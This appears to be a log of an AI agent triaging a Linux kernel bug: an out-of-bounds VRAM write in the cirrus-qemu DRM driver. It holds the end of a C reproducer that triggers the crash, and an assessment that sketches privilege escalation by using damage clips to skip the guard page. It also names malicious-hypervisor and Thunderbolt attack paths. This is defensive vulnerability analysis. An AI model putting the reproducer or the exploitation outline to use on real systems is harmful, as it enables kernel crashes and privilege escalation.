printf("[+] ioctl DRM_IOCTL_MODE_CREATE_DUMB successful.\n");
struct drm_mode_fb_cmd cmd = {
.width = 800,
.height = 600,
.pitch = create.pitch,
.bpp = 32,
.depth = 24,
.handle = create.handle,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_ADDFB, &cmd);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_ADDFB: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_ADDFB successful.\n");
struct drm_mode_modeinfo custom_mode = {
.clock = 40000,
.hdisplay = 800,
.hsync_start = 840,
.hsync_end = 968,
.htotal = 1056,
.vdisplay = 600,
.vsync_start = 601,
.vsync_end = 605,
.vtotal = 628,
.vrefresh = 60,
.flags = 0,
.type = 32, // DRM_MODE_TYPE_USERDEF
.name = "800x600",
};
struct drm_mode_crtc crtc = {
.crtc_id = crtcs[0],
.fb_id = cmd.fb_id,
.set_connectors_ptr = (uint64_t)&connectors[0],
.count_connectors = 1,
.mode = custom_mode,
.mode_valid = 1,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &crtc);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_SETCRTC: %s\n", strerror(errno));
} else {
printf("[+] ioctl DRM_IOCTL_MODE_SETCRTC successful.\n");
}
printf("[+] Triggering bug...\n");
// Closing the fd triggers drm_release -> drm_lastclose -> drm_fbdev_client_restore
// which performs a full atomic commit and copies the framebuffer, causing the out-of-bounds access.
int close_res = close(fd);
if (close_res < 0) {
printf("[-] Failed to close: %s\n", strerror(errno));
exit(1);
}
printf("[+] close successful.\n");
sleep(2);
return 0;
}
Reply: **Analysis of the Bug and its Security Impact**
The bug is an out-of-bounds write in the `cirrus-qemu` DRM driver, specifically in `drm_fb_memcpy()` when copying a framebuffer to the device's VRAM.
**Root Cause:**
The `cirrus-qemu` driver assumes that the device's VRAM size is always 4MB (`CIRRUS_VRAM_SIZE`). It uses this 4MB constant to validate the maximum size of the framebuffer created by userspace (`fb->pitches[0] > CIRRUS_VRAM_SIZE / fb->height`). However, during initialization (`cirrus_pci_probe`), the driver maps the VRAM using the actual size of the PCI BAR0 (`pci_resource_len(pdev, 0)`). If the driver is bound to a device where BAR0 is smaller than 4MB, the driver will still allow userspace to create and commit a framebuffer up to 4MB in size. When the atomic update copies the framebuffer to the mapped VRAM, it writes past the end of the `ioremap` region, causing a `#PF` (page fault) when it hits the vmalloc guard page.
**Exploitability:**
This bug is **Exploitable** for memory corruption and privilege escalation. While a sequential out-of-bounds write would normally hit the 4KB vmalloc guard page and safely panic the kernel, the `cirrus-qemu` driver supports the `FB_DAMAGE_CLIPS` property. This allows an attacker to submit an atomic commit with a custom damage rectangle, controlling the starting `y` coordinate of the copy. This translates to an arbitrary `offset` up to ~4MB from the start of the VRAM mapping. If the BAR0 size is small (e.g., 4KB), the attacker can set an offset that completely skips the 4KB guard page and writes directly into adjacent `vmalloc` allocations. This provides a powerful primitive to overwrite arbitrary vmalloc memory (such as BPF maps, kernel stacks, or module data), leading to privilege escalation.
**Denial of Service:**
The bug easily results in a **Denial of Service**. Even without crafting a specific damage clip, a standard full modeset (such as the one automatically performed by `fbcon` during boot, or when the DRM file descriptor is closed) will copy the entire framebuffer. This will hit the unmapped guard page and cause an immediate kernel panic.
**Trigger Scenarios:**
* **Unprivileged Processes / User Namespaces:** On a standard system, this bug is **NOT** accessible to unprivileged users. The driver only automatically binds to legitimate QEMU/Xen virtual Cirrus devices, which have a default BAR0 size of 4MB. With a 4MB BAR0, the copy will never go out of bounds. Triggering the bug requires the driver to be bound to a device with a small BAR0. Doing this manually (as the reproducer does) requires root privileges to write to the PCI sysfs `new_id` and `bind` files, which are not accessible to unprivileged users or within user namespaces.
* **VM Host Trigger (Confidential Computing):** A malicious hypervisor can provide a virtual Cirrus PCI device with a maliciously small BAR0 (e.g., 4KB) to a confidential guest (like AMD SEV or Intel TDX). The guest kernel will bind to it, and the subsequent `fbcon` initialization will panic the guest (DoS). If `fbcon` is disabled, an unprivileged user inside the guest could exploit the bug to gain root privileges within the guest.
* **Peripheral Trigger:** A malicious Thunderbolt/USB4 device can present itself as a PCIe device matching the Cirrus QEMU PCI IDs (Vendor `0x1013`, Device `0x00B8`, Subvendor `0x1AF4`, Subdevice `0x1100`) but with a small BAR0. The kernel will automatically load the `cirrus-qemu` module and bind it to the device. This will instantly crash the system via `fbcon` (DoS) or allow an attacker with physical access to exploit the vmalloc out-of-bounds write.
|
| 6/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 12734
output: 42
thoughts: 1466
Thoughts: **Analyzing a Kernel Page Fault: A Deep Dive**
Okay, so I've got this bug report β a page fault in the kernel: "unable to handle page fault for address: ffffc900030a7000." Supervisor write access, not a present page. Looks like it's triggered during a `rep_movs` operation, which is a common memory copy routine, deep within the iomem handling code. `memcpy_toio` is the culprit.
The call trace points me towards `drm_fb_memcpy` within the DRM framework, specifically within the `cirrus-qemu` driver. Interesting. It seems the issue arises during a framebuffer copy (`drm_fb_memcpy`) when setting a custom display mode (800x600). The reproducer binds the Cirrus driver to a random PCI device and then messes with the framebuffer. It eventually triggers the framebuffer restore upon closing the device.
The core of it is here: it looks like this is an out-of-bounds write to a device's BAR0 memory, likely due to a mismatch between the framebuffer size and the BAR0 size of the target device. The reproducer cleverly looks for a device with a BAR0 larger than zero but smaller than 1.9MB. With an 800x600 framebuffer (1.83MB), this will cause the copy to overflow.
My initial thought is this sounds like classic I/O memory mapping out-of-bounds write. Kernel oops and a panic. So, exploitable? The write is happening within the `vmalloc/ioremap` area, and the target address is `ffffc900030a7000`. My immediate thought is, can an attacker map something else and write over it?
However, aren't `ioremap` regions protected by guard pages? Yes, `get_vm_area` confirms that, and also `vmalloc` regions are protected this way. So, if that is the case, this should result in a fault because the copy should hit the guard page. So the vulnerability shouldn't be exploitable.
But let me think further. `drm_fb_memcpy` - does it copy line by line, or as a single chunk? The guard page protection only protects an overflow that is less than a page size. I need to understand if the overflow can be large enough to skip the guard page. I need to look closer at `drm_fb_memcpy`.
|
| 7/2 |
2026/08/17 03:04 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/drm_format_helper.c Name:drm_fb_memcpy]
Results: map[SourceCode: 396: /**
397: * drm_fb_memcpy - Copy clip buffer
398: * @dst: Array of destination buffers
399: * @dst_pitch: Array of numbers of bytes between the start of two consecutive scanlines
400: * within @dst; can be NULL if scanlines are stored next to each other.
401: * @src: Array of source buffers
402: * @fb: DRM framebuffer
403: * @clip: Clip rectangle area to copy
404: *
405: * This function copies parts of a framebuffer to display memory. Destination and
406: * framebuffer formats must match. No conversion takes place. The parameters @dst,
407: * @dst_pitch and @src refer to arrays. Each array must have at least as many entries
408: * as there are planes in @fb's format. Each entry stores the value for the format's
409: * respective color plane at the same index.
410: *
411: * This function does not apply clipping on @dst (i.e. the destination is at the
412: * top-left corner).
413: */
414: void drm_fb_memcpy(struct iosys_map *dst, const unsigned int *dst_pitch,
415: const struct iosys_map *src, const struct drm_framebuffer *fb,
416: const struct drm_rect *clip)
417: {
418: static const unsigned int default_dst_pitch[DRM_FORMAT_MAX_PLANES] = {
419: 0, 0, 0, 0
420: };
421:
422: const struct drm_format_info *format = fb->format;
423: unsigned int i, y, lines = drm_rect_height(clip);
424:
425: if (!dst_pitch)
426: dst_pitch = default_dst_pitch;
427:
428: for (i = 0; i < format->num_planes; ++i) {
429: unsigned int bpp_i = drm_format_info_bpp(format, i);
430: unsigned int cpp_i = DIV_ROUND_UP(bpp_i, 8);
431: size_t len_i = DIV_ROUND_UP(drm_rect_width(clip) * bpp_i, 8);
432: unsigned int dst_pitch_i = dst_pitch[i];
433: struct iosys_map dst_i = dst[i];
434: struct iosys_map src_i = src[i];
435:
436: if (!dst_pitch_i)
437: dst_pitch_i = len_i;
438:
439: iosys_map_incr(&src_i, clip_offset(clip, fb->pitches[i], cpp_i));
440: for (y = 0; y < lines; y++) {
441: /* TODO: handle src_i in I/O memory here */
442: iosys_map_memcpy_to(&dst_i, 0, src_i.vaddr, len_i);
443: iosys_map_incr(&src_i, fb->pitches[i]);
444: iosys_map_incr(&dst_i, dst_pitch_i);
445: }
446: }
447: }
SourceFile:drivers/gpu/drm/drm_format_helper.c]
|
| 8/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 15766
output: 34
thoughts: 173
Thoughts: **Analyzing a Potential Kernel Memory Corruption Bug**
Okay, so I'm looking at this code, `iosys_map_memcpy_to`, and it seems like it's designed to copy data, using `memcpy_toio`, to I/O memory if `dst_i` is within the I/O address space. The problem, as I see it, is that this copy happens line by line. With each iteration, it increments `dst_i` by `dst_pitch_i`. This is where it gets interesting because this could easily lead to an access past the allocated region, and specifically into an unmapped guard page which would trigger a page fault.
But wait a minute... can an unprivileged user even reach this code path? The reproducer provided here involves writing to `/sys/bus/pci/drivers/cirrus-qemu/new_id` and `/sys/bus/pci/drivers/cirrus-qemu/bind`. That's a red flag. Typically, interacting with `/sys/bus/pci/...` directly requires root privileges, specifically `CAP_SYS_ADMIN`, or just being the root user. If this is the case, the impact of this bug significantly lessens. So, I need to verify. Let's start by checking the access permissions of those specific files. That's the first step to figuring out whether this could be exploited by a local user.
|
| 9/2 |
2026/08/17 03:04 |
tool |
grepper |
0m
Args: map[Expression:new_id PathPrefix:drivers/pci/pci-driver.c]
Results: map[Output:drivers/pci/pci-driver.c=119=static const struct pci_device_id pci_device_id_any = {
--
drivers/pci/pci-driver.c-132- * supported devices or in the dynids list, which may have been augmented
drivers/pci/pci-driver.c:133: * via the sysfs "new_id" file. Returns the matching pci_device_id
drivers/pci/pci-driver.c-134- * structure or %NULL if there is no match.
--
drivers/pci/pci-driver.c=182=static void _pci_free_device(struct device *dev)
--
drivers/pci/pci-driver.c-187-/**
drivers/pci/pci-driver.c:188: * new_id_store - sysfs frontend to pci_add_dynid()
drivers/pci/pci-driver.c-189- * @driver: target device driver
--
drivers/pci/pci-driver.c-194- */
drivers/pci/pci-driver.c:195:static ssize_t new_id_store(struct device_driver *driver, const char *buf,
drivers/pci/pci-driver.c-196- size_t count)
--
drivers/pci/pci-driver.c-254-}
drivers/pci/pci-driver.c:255:static DRIVER_ATTR_WO(new_id);
drivers/pci/pci-driver.c-256-
--
drivers/pci/pci-driver.c=301=static struct attribute *pci_drv_attrs[] = {
drivers/pci/pci-driver.c:302: &driver_attr_new_id.attr,
drivers/pci/pci-driver.c-303- &driver_attr_remove_id.attr,
]
|
| 10/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 16774
output: 46
thoughts: 263
Thoughts: **My Analysis of a Potential PCI Driver Vulnerability**
Okay, so here's what I'm thinking. This `DRIVER_ATTR_WO(new_id)` macro expands into a `struct driver_attribute`, which is essentially a write-only attribute, specifically set to `0200`, meaning only root can write to it. I know that unprivileged users shouldn't be able to touch `new_id` or `bind` files, and I'm pretty sure that this restriction carries over into user namespaces as well, since sysfs files are normally root-owned and not delegated to user namespaces. I'd need to verify that last part, of course, but that's my general understanding.
My immediate concern is whether there's some *other* way to trigger this bug without needing write access to sysfs at all. The driver in question is the `cirrus-qemu` driver, and the vulnerability seems to stem from an assumption about the device it's binding to. It's expecting a Cirrus Logic device with a specific size for BAR0. Now, if it's bound to a different device with a smaller BAR0, it's going to cause a buffer overflow when it tries to copy the framebuffer.
Here's the critical question: Is there a scenario where this could happen without anyone having to write to `new_id` or `bind`? Could this be triggered by a genuine PCI device matching the `cirrus-qemu` driver's ID table, but having a smaller BAR0 than expected? That would be a significantly more serious problem, as it could be exploited without even the need for root privileges. I need to dig into the driver's PCI ID table to see if it's possible to spoof or force a smaller BAR0 and check the logic to trigger the overflow without sysfs.
|
| 11/2 |
2026/08/17 03:04 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:cirrus_pci_table]
Results: map[SourceCode: SourceFile:]
|
| 12/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 17493
output: 34
thoughts: 17
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Examining PCI Table in cirrus-qemu.c**
Alright, let's dive right in. My first thought is to zero in on the PCI table within `cirrus-qemu.c`. I'm specifically interested in the implementation details there. Given my experience, I'm likely looking for the structure definition that defines the PCI configuration space for the Cirrus logic VGA device within the QEMU emulation. I want to see how the registers are mapped, initialized, and how reads and writes are handled. I'm probably mentally referencing the PCI specification and comparing the QEMU implementation to the standard, looking for any potential deviations or optimizations that are in play. I need to understand how the emulated PCI device interacts with the host's PCI bus, or rather, QEMU's abstraction of it. This will help with debugging device-specific issues, performance concerns, or potentially with modifying the emulation itself. Essentially, I'm quickly trying to build a mental map of how the QEMU code represents the Cirrus device's PCI interface.
|
| 13/2 |
2026/08/17 03:04 |
tool |
codesearch-file-index |
0m
Args: map[SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results: map[Entities:[map[Kind:function Name:cirrus_connector_helper_get_modes] map[Kind:function Name:cirrus_crtc_helper_atomic_check] map[Kind:function Name:cirrus_crtc_helper_atomic_enable] map[Kind:function Name:cirrus_format_set] map[Kind:function Name:cirrus_mode_config_init] map[Kind:function Name:cirrus_mode_config_mode_valid] map[Kind:function Name:cirrus_mode_set] map[Kind:function Name:cirrus_pci_driver_exit] map[Kind:function Name:cirrus_pci_driver_init] map[Kind:function Name:cirrus_pci_probe] map[Kind:function Name:cirrus_pci_remove] map[Kind:function Name:cirrus_pci_shutdown] map[Kind:function Name:cirrus_pipe_init] map[Kind:function Name:cirrus_pitch_set] map[Kind:function Name:cirrus_primary_plane_helper_atomic_check] map[Kind:function Name:cirrus_primary_plane_helper_atomic_update] map[Kind:function Name:cirrus_set_start_address] map[Kind:function Name:rreg_crt] map[Kind:function Name:rreg_seq] map[Kind:function Name:wreg_crt] map[Kind:function Name:wreg_gfx] map[Kind:function Name:wreg_hdr] map[Kind:function Name:wreg_seq] map[Kind:struct Name:cirrus_device] map[Kind:global_variable Name:__UNIQUE_ID_addressable_cirrus_pci_driver_init_938] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_939] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_940] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_941] map[Kind:global_variable Name:__exitcall_cirrus_pci_driver_exit] map[Kind:global_variable Name:__mod_device_table__kmod_cirrus_qemu__pci__pciidlist] map[Kind:global_variable Name:cirrus_connector_funcs] map[Kind:global_variable Name:cirrus_connector_helper_funcs] map[Kind:global_variable Name:cirrus_crtc_funcs] map[Kind:global_variable Name:cirrus_crtc_helper_funcs] map[Kind:global_variable Name:cirrus_driver] map[Kind:global_variable Name:cirrus_encoder_funcs] map[Kind:global_variable Name:cirrus_fops] map[Kind:global_variable Name:cirrus_mode_config_funcs] map[Kind:global_variable Name:cirrus_pci_driver] map[Kind:global_variable Name:cirrus_primary_plane_format_modifiers] map[Kind:global_variable Name:cirrus_primary_plane_formats] map[Kind:global_variable Name:cirrus_primary_plane_funcs] map[Kind:global_variable Name:cirrus_primary_plane_helper_funcs] map[Kind:global_variable Name:pciidlist]]]
|
| 14/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 18684
output: 43
thoughts: 11
Thoughts: Okay, here's my interpretation of that thought, summarized from my perspective as an expert in my field:
**Internal Inventory Check**
Right, so I need to make a mental note, a quick recall. The crucial piece of information I need to work with is the PCI ID list, which is concisely represented as `pciidlist`. I'm immediately recognizing this as the primary reference point for whatever I'm currently focused on. This likely means I'm about to cross-reference devices, troubleshoot hardware, or potentially build out a new system. Keeping `pciidlist` front of mind is the cornerstone for the next stage of my work.
|
| 15/2 |
2026/08/17 03:04 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:pciidlist]
Results: map[SourceCode: 647: static const struct pci_device_id pciidlist[] = {
648: {
649: .vendor = PCI_VENDOR_ID_CIRRUS,
650: .device = PCI_DEVICE_ID_CIRRUS_5446,
651: /* only bind to the cirrus chip in qemu */
652: .subvendor = PCI_SUBVENDOR_ID_REDHAT_QUMRANET,
653: .subdevice = PCI_SUBDEVICE_ID_QEMU,
654: }, {
655: .vendor = PCI_VENDOR_ID_CIRRUS,
656: .device = PCI_DEVICE_ID_CIRRUS_5446,
657: .subvendor = PCI_VENDOR_ID_XEN,
658: .subdevice = 0x0001,
659: },
660: { /* end if list */ }
661: };
SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
|
| 16/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 19179
output: 46
thoughts: 587
Thoughts: **My Analysis of the Cirrus Logic Driver Vulnerability**
Okay, so here's what I'm thinking about this Cirrus Logic driver issue. The core of it seems to be in how the driver interacts with the virtual hardware β specifically, the BAR0 size. It only binds to specific QEMU and Xen Cirrus Logic devices, which are, of course, virtual. The hypervisor, QEMU or Xen, is in control of the BAR0 size.
My initial thought was that a standard QEMU Cirrus VGA, with its typical VRAM size (4MB, sometimes 8MB β at least enough for an 800x600 display), wouldn't trigger this because 800x600x32bpp fits easily within that. QEMU's default VRAM for this is 4MB, so a regular setup seems safe. The repro case relies on manually forcing the `cirrus-qemu` driver onto a different PCI device β like an audio or network controller β that has a much smaller BAR0. This requires root, which means it's not a straightforward guest-to-host exploit.
Then I started to think about other scenarios. What if a user could configure QEMU to use a smaller VRAM size for the Cirrus device? Like setting `-device cirrus-vga,vgamem_mb=1`? Ah, I just checked, and `cirrus-vga` *does* have a `vgamem_mb` property. If an attacker controls the QEMU command line, say in a VM hosting environment, they could potentially reduce VRAM size. But that level of control implies they're the VM host, which, again, means they have full control.
The more interesting, and likely more relevant, vector is through a malicious hypervisor. If a hypervisor deliberately provides a Cirrus PCI device to the guest with a small BAR0, the guest kernel will crash. This is a VM Host Trigger β the hypervisor is attacking the guest. While we often focus on VM Guest Trigger or Confidential Computing scenarios, this is an important attack surface to consider.
Now, if we consider confidential VMs like AMD SEV or Intel TDX, where the host is inherently untrusted. Can a confidential VM even *use* `cirrus-qemu`? Usually, they go with virtio-gpu or no display at all, not legacy VGA like Cirrus. *However*, if the kernel is compiled with `cirrus-qemu`, and the host injects a Cirrus PCI device with a small BAR0, the guest kernel will bind to it and could crash or be exploited.
So, *is* this exploitable? I need to look at the code. The vulnerability boils down to an out-of-bounds write to an I/O memory mapping (BAR0). I'll need to dig into `cirrus_pci_probe` to understand the exact point of failure. I think it is an interesting avenue for attack, but more research is needed.
|
| 17/2 |
2026/08/17 03:04 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:cirrus_pci_probe]
Results: map[SourceCode: 578: static int cirrus_pci_probe(struct pci_dev *pdev,
579: const struct pci_device_id *ent)
580: {
581: struct drm_device *dev;
582: struct cirrus_device *cirrus;
583: int ret;
584:
585: ret = aperture_remove_conflicting_pci_devices(pdev, cirrus_driver.name);
586: if (ret)
587: return ret;
588:
589: ret = pcim_enable_device(pdev);
590: if (ret)
591: return ret;
592:
593: ret = pcim_request_all_regions(pdev, DRIVER_NAME);
594: if (ret)
595: return ret;
596:
597: ret = -ENOMEM;
598: cirrus = devm_drm_dev_alloc(&pdev->dev, &cirrus_driver,
599: struct cirrus_device, dev);
600: if (IS_ERR(cirrus))
601: return PTR_ERR(cirrus);
602:
603: dev = &cirrus->dev;
604:
605: cirrus->vram = devm_ioremap(&pdev->dev, pci_resource_start(pdev, 0),
606: pci_resource_len(pdev, 0));
607: if (cirrus->vram == NULL)
608: return -ENOMEM;
609:
610: cirrus->mmio = devm_ioremap(&pdev->dev, pci_resource_start(pdev, 1),
611: pci_resource_len(pdev, 1));
612: if (cirrus->mmio == NULL)
613: return -ENOMEM;
614:
615: ret = cirrus_mode_config_init(cirrus);
616: if (ret)
617: return ret;
618:
619: ret = cirrus_pipe_init(cirrus);
620: if (ret < 0)
621: return ret;
622:
623: drm_mode_config_reset(dev);
624:
625: pci_set_drvdata(pdev, dev);
626: ret = drm_dev_register(dev, 0);
627: if (ret)
628: return ret;
629:
630: drm_client_setup(dev, NULL);
631: return 0;
632: }
SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
|
| 18/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 21292
output: 41
thoughts: 88
Thoughts: Okay, here's my interpretation of that code snippet, presented as my own thought process:
**Potential Memory Mapping Vulnerability - Cirrus Driver**
Hmm, interesting. So, the `cirrus` driver maps the VRAM (video RAM) to memory using `devm_ioremap`. That's standard practice, using `devm_ioremap` is generally a good way to manage this kind of memory resource in a device driver. And it's using `pci_resource_len(pdev, 0)` for the size, which I'm assuming is the length of BAR0 (Base Address Register 0). Right, that makes sense - BAR0 typically holds the memory region for the framebuffer.
Now, my Spidey-sense is tingling... the driver *doesn't* appear to check if the BAR0 size is actually *large enough* to accommodate the framebuffer, does it? That could be a problem! A misconfigured BIOS or a different hardware configuration might report a BAR0 size that's smaller than the actual VRAM needed. If the driver just blindly maps it based on the reported size, we're likely going to run into issues. I don't see any other check or method that determines the correct VRAM size. This could lead to a variety of errors, corruption, or even system instability. It's a potential vulnerability. I'll need to dig deeper into the rest of the code to see if there's any implicit assumption about VRAM size, or other checks performed elsewhere.
|
| 19/2 |
2026/08/17 03:04 |
tool |
grepper |
0m
Args: map[Expression:pci_resource_len PathPrefix:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results: map[Output:drivers/gpu/drm/tiny/cirrus-qemu.c=578=static int cirrus_pci_probe(struct pci_dev *pdev,
--
drivers/gpu/drm/tiny/cirrus-qemu.c-605- cirrus->vram = devm_ioremap(&pdev->dev, pci_resource_start(pdev, 0),
drivers/gpu/drm/tiny/cirrus-qemu.c:606: pci_resource_len(pdev, 0));
drivers/gpu/drm/tiny/cirrus-qemu.c-607- if (cirrus->vram == NULL)
--
drivers/gpu/drm/tiny/cirrus-qemu.c-610- cirrus->mmio = devm_ioremap(&pdev->dev, pci_resource_start(pdev, 1),
drivers/gpu/drm/tiny/cirrus-qemu.c:611: pci_resource_len(pdev, 1));
drivers/gpu/drm/tiny/cirrus-qemu.c-612- if (cirrus->mmio == NULL)
]
|
| 20/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 22038
output: 47
thoughts: 29
Thoughts: Okay, here's my interpretation of those thoughts, presented as my own mental process, given my expertise:
**My Line of Reasoning**
Right, so we're talking about initializing a graphics card, likely a Cirrus Logic based one, given the function name. The first step, it seems, is to establish the VRAM layout. "Maps the VRAM based on BAR0 size" β that's crucial. I immediately think: we're determining the base address register 0's size to understand the physical address space dedicated to the video RAM. This is fundamental; without knowing the size, we can't reliably communicate with the memory or set up framebuffers, etc. It needs to know how much memory the graphics card *actually* has available, as BAR0 is essentially the window into the physical memory on the card.
Then comes the call to `cirrus_mode_config_init`. Okay, so, with the VRAM mapped and its size known, now we move onto setting up the operational configuration or "mode config" for the device. This probably involves things like: deciding on resolutions and color depths, configuring the graphics engine, setting up clock frequencies, and establishing other graphics-specific parameters.
Essentially, it's a two-step process: identify the memory, then define how to use it! Very logical flow.
|
| 21/2 |
2026/08/17 03:04 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:cirrus_mode_config_init]
Results: map[SourceCode: 541: static int cirrus_mode_config_init(struct cirrus_device *cirrus)
542: {
543: struct drm_device *dev = &cirrus->dev;
544: int ret;
545:
546: ret = drmm_mode_config_init(dev);
547: if (ret)
548: return ret;
549:
550: dev->mode_config.min_width = 0;
551: dev->mode_config.min_height = 0;
552: dev->mode_config.max_width = CIRRUS_MAX_PITCH / 2;
553: dev->mode_config.max_height = 1024;
554: dev->mode_config.preferred_depth = 16;
555: dev->mode_config.prefer_shadow = 0;
556: dev->mode_config.funcs = &cirrus_mode_config_funcs;
557:
558: return 0;
559: }
SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
|
| 22/2 |
2026/08/17 03:04 |
llm |
expert |
0m
Model:
Tokens:
input: 22736
output: 42
thoughts: 43
Thoughts: **Initial Assessment & Questioning**
Okay, so I'm looking at this code and it's initializing `max_width` and `max_height`. The interesting bit is how `max_width` is being calculated. It's setting it to `CIRRUS_MAX_PITCH / 2`. The question that immediately pops into my head, given my expertise in this domain, is: *what is* `CIRRUS_MAX_PITCH`? That's the critical piece of information I need to understand what the intended maximum width is. Is it some hardware limitation, a performance consideration, or a design choice specific to the "Cirrus" system it's referencing? Without knowing the value or meaning of `CIRRUS_MAX_PITCH`, the logic here is opaque to me. I need to dig deeper.
|
| 23/2 |
2026/08/17 03:05 |
tool |
grepper |
0m
Args: map[Expression:CIRRUS_MAX_PITCH PathPrefix:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results: map[Output:drivers/gpu/drm/tiny/cirrus-qemu.c-56-
drivers/gpu/drm/tiny/cirrus-qemu.c:57:#define CIRRUS_MAX_PITCH (0x1FF << 3) /* (4096 - 1) & ~111b bytes */
drivers/gpu/drm/tiny/cirrus-qemu.c-58-#define CIRRUS_VRAM_SIZE (4 * 1024 * 1024) /* 4 MB */
--
drivers/gpu/drm/tiny/cirrus-qemu.c=298=static int cirrus_primary_plane_helper_atomic_check(struct drm_plane *plane,
--
drivers/gpu/drm/tiny/cirrus-qemu.c-319- /* validate size constraints */
drivers/gpu/drm/tiny/cirrus-qemu.c:320: if (fb->pitches[0] > CIRRUS_MAX_PITCH)
drivers/gpu/drm/tiny/cirrus-qemu.c-321- return -EINVAL;
--
drivers/gpu/drm/tiny/cirrus-qemu.c=514=static enum drm_mode_status cirrus_mode_config_mode_valid(struct drm_device *dev,
--
drivers/gpu/drm/tiny/cirrus-qemu.c-525- return MODE_BAD_WIDTH;
drivers/gpu/drm/tiny/cirrus-qemu.c:526: if (pitch > CIRRUS_MAX_PITCH)
drivers/gpu/drm/tiny/cirrus-qemu.c-527- return MODE_BAD_WIDTH; /* maximum programmable pitch */
--
drivers/gpu/drm/tiny/cirrus-qemu.c=541=static int cirrus_mode_config_init(struct cirrus_device *cirrus)
--
drivers/gpu/drm/tiny/cirrus-qemu.c-551- dev->mode_config.min_height = 0;
drivers/gpu/drm/tiny/cirrus-qemu.c:552: dev->mode_config.max_width = CIRRUS_MAX_PITCH / 2;
drivers/gpu/drm/tiny/cirrus-qemu.c-553- dev->mode_config.max_height = 1024;
]
|
| 24/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 23581
output: 42
thoughts: 57
Thoughts: **My Initial Assessment**
Okay, so I'm looking at some configuration values here. `CIRRUS_MAX_PITCH` is set to 4088, which is straightforward enough, it's defining the maximum pitch allowed for the Cirrus graphics device. Now, the next one is `CIRRUS_VRAM_SIZE`, and that's set to 4MB. That makes sense on the surface, but then the question immediately pops up: is this constant actually *used* in the code to verify or determine the *real* VRAM size of the Cirrus hardware? Just defining it isn't enough; it needs to be actively used in a check. I need to dig deeper into the codebase to see how this value, or any related values, are applied. I need to verify that a proper VRAM check is in place, and that the system isn't blindly trusting this hardcoded value. That's the real question that needs answering here.
|
| 25/2 |
2026/08/17 03:05 |
tool |
grepper |
0m
Args: map[Expression:CIRRUS_VRAM_SIZE PathPrefix:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results: map[Output:drivers/gpu/drm/tiny/cirrus-qemu.c-57-#define CIRRUS_MAX_PITCH (0x1FF << 3) /* (4096 - 1) & ~111b bytes */
drivers/gpu/drm/tiny/cirrus-qemu.c:58:#define CIRRUS_VRAM_SIZE (4 * 1024 * 1024) /* 4 MB */
drivers/gpu/drm/tiny/cirrus-qemu.c-59-
--
drivers/gpu/drm/tiny/cirrus-qemu.c=298=static int cirrus_primary_plane_helper_atomic_check(struct drm_plane *plane,
--
drivers/gpu/drm/tiny/cirrus-qemu.c-321- return -EINVAL;
drivers/gpu/drm/tiny/cirrus-qemu.c:322: else if (fb->pitches[0] > CIRRUS_VRAM_SIZE / fb->height)
drivers/gpu/drm/tiny/cirrus-qemu.c-323- return -EINVAL;
--
drivers/gpu/drm/tiny/cirrus-qemu.c=514=static enum drm_mode_status cirrus_mode_config_mode_valid(struct drm_device *dev,
--
drivers/gpu/drm/tiny/cirrus-qemu.c-527- return MODE_BAD_WIDTH; /* maximum programmable pitch */
drivers/gpu/drm/tiny/cirrus-qemu.c:528: if (pitch > CIRRUS_VRAM_SIZE / mode->vdisplay)
drivers/gpu/drm/tiny/cirrus-qemu.c-529- return MODE_MEM;
]
|
| 26/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 24316
output: 37
thoughts: 1013
Thoughts: **Vulnerability Analysis of the Cirrus VGA Driver**
Okay, so here's what's happening. My initial thought is that the `cirrus-qemu` driver makes a dangerous assumption about the video RAM (VRAM) size. Specifically, it assumes `CIRRUS_VRAM_SIZE` is always 4MB and uses this assumption to perform validation checks on the mode and plane size. The code checks if the framebuffer's pitch exceeds the `CIRRUS_VRAM_SIZE` divided by the framebuffer height. This is meant to ensure that the total framebuffer size doesn't exceed 4MB. The problem is, while this check exists, the driver *maps* the VRAM using `pci_resource_len(pdev, 0)`, which reflects the actual size of the BAR0 region β and that can be *smaller* than 4MB!
